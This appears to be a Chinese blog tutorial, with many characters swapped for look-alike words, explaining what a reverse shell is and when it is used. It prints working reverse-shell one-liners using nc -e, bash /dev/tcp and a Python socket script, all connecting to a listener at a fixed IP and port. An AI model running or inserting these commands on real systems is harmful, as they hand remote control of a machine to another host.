前段时间被一位产品经理讥笑了,说我竟然连反弹 Shell 都不晓得!
说实话过后我还真不知道,但这口气咽不下去啊,得连忙学来看看,这不,我曾经学会了!
学完之后我特地来记录下,同时分享给大家,当前产品经理再也不敢讥笑咱们不懂反弹 Shell 了!
什么是反弹 Shell
咱们都晓得 Shell 的概念吧,简略来说,Shell 就是实现用户命令的接口,通过这个接口咱们就能实现对计算机的管制,比方咱们常见的 ssh 就是执行的 Shell 命令实现对近程对服务器的管制。
那反弹 Shell 是啥呢?其英文名叫做 Reverse Shell,具体干什么的呢?就是管制端首先监听某个 TCP/UDP 端口,而后被管制端向这个端口发动一个申请,同时将本人命令行的输入输出转移到管制端,从而管制端就能够输出命令来管制被控端了。
比如说,咱们有两台主机 A、B,咱们最终想实现在 A 上管制 B。那么如果用正向 Shell,其实就是在 A 上输出 B 的连贯地址,比方通过 ssh 连贯到 B,连贯胜利之后,咱们就能够在 A 上通过命令管制 B 了。如果用反向 Shell,那就是在 A 上先开启一个监听端口,而后让 B 去连贯 A 的这个端口,连贯胜利之后,A 这边就能通过命令管制 B 了。
反弹 Shell 有什么用?
还是原来的例子,咱们想用 A 来管制 B,如果想用 ssh 等命令来管制,那得输出 B 的 sshd 地址或者端口对吧?然而在很多状况下,因为防火墙、平安组、局域网、NAT 等起因,咱们实际上是无奈间接连贯到 B 的,比方:
- A 尽管有公网 IP,但 B 是一个处于内网的机器,A 就没法间接连到 B 上。
- B 上开了防火墙或者平安组限度,sshd 的服务端口 22 被关闭了。
- B 是一台拨号主机,其 IP 地址常常变动。
- 如果 B 被攻打了,咱们想让 B 向 A 汇报本人的情况,那天然就须要 B 被动去连贯 A。
如果是这些状况,咱们就能够用反弹 Shell 用 A 来管制 B 了。
反弹 Shell 案例
首先咱们先看一个规范的反弹 Shell 的例子,这里咱们一共须要两台主机:
- A 是管制端,能够处于公网之中,也能够和 B 处于一个局域网中,总之能让 B 找到 A 就行。
- B 是被控端,能够处在局域网之中。
在开始之前咱们须要用到 nc 命令,装置非常简单。
如果是 CentOS 系列零碎,装置命令如下:
yum install -y nc # CentOS
接着,咱们在 A 上执行如下命令:
nc -lvp 32767
这个命令的意思是开启 32767 的端口监听,运行之后如图所示:
这样就表明 A 上正在监听 32767 端口的连贯了。
这时候,咱们能够在 B 上通过相似的命令连贯到 A,如果 A 的 IP 是 111.112.113.114,那么命令如下:
nc 111.112.113.114 32767 -e /bin/bash
“
留神:你在运行的时候须要替换成 A 的实在 IP 和端口。
”
运行结束之后,咱们反过来察看下 A,就显示了来自某个 IP 和端口的连贯,咱们就能够输出命令来管制 B 了,比方这里咱们输出了:
uname -a
而后就能够失去 B 的主机名了。
如图所示:
这样咱们就通过 nc 包实现了反弹 Shell。
有人说,这 B 上肯定须要装置 nc 这个包吗?其实不肯定的,咱们能够间接应用 bash 来实现反弹 Shell,命令如下:
bash -i >& /dev/tcp/111.112.113.114/32767 0>&1
这个命令大抵解释下:
bash -i
就是产生一个 bash 交互环境>&
能够将 bash 交互环境的输出、输入、谬误输入都输入到一个中央/dev/tcp/111.112.113.114/32767
其实指的就是指标主机的一个连贯地址,因为 Linux 环境中所有内容的定义都是以文件的模式存在的,指定这个地址就是让主机和指标主机建设一个 TCP 连贯。0>&1
能够将规范输出和规范输入相结合,重定向给后面规范输入的内容。
通过这样的命令,咱们就能够就是将 B 的规范输入和谬误输入都重定向给 A,并且将 A 的输出都重定向给 B,这样咱们就能够实现 A 对 B 的近程管制了,如图所示:
比方这样咱们就能够轻松在 A 主机上拿到 B 主机的主机名、以后所处门路等内容了。
另外除了用 bash,咱们还能够利用 Python 进行反弹 Shell,脚本如下:
python -c 'import socket,subprocess,os; \
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("111.112.113.114",32767));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
能够达到同样反弹 Shell 的成果,即能够用 A 来管制 B。
总结
以上就是反弹 Shell 的介绍,灵活运用反弹 Shell 能够大大便当某些场景下的近程管制,心愿对大家有帮忙。
以上就是本次分享的所有内容,如果你感觉文章还不错,欢送关注公众号:Python 编程学习圈 ,每日干货分享,发送“J”还可支付大量学习材料。或是返回编程学习网,理解更多编程技术常识。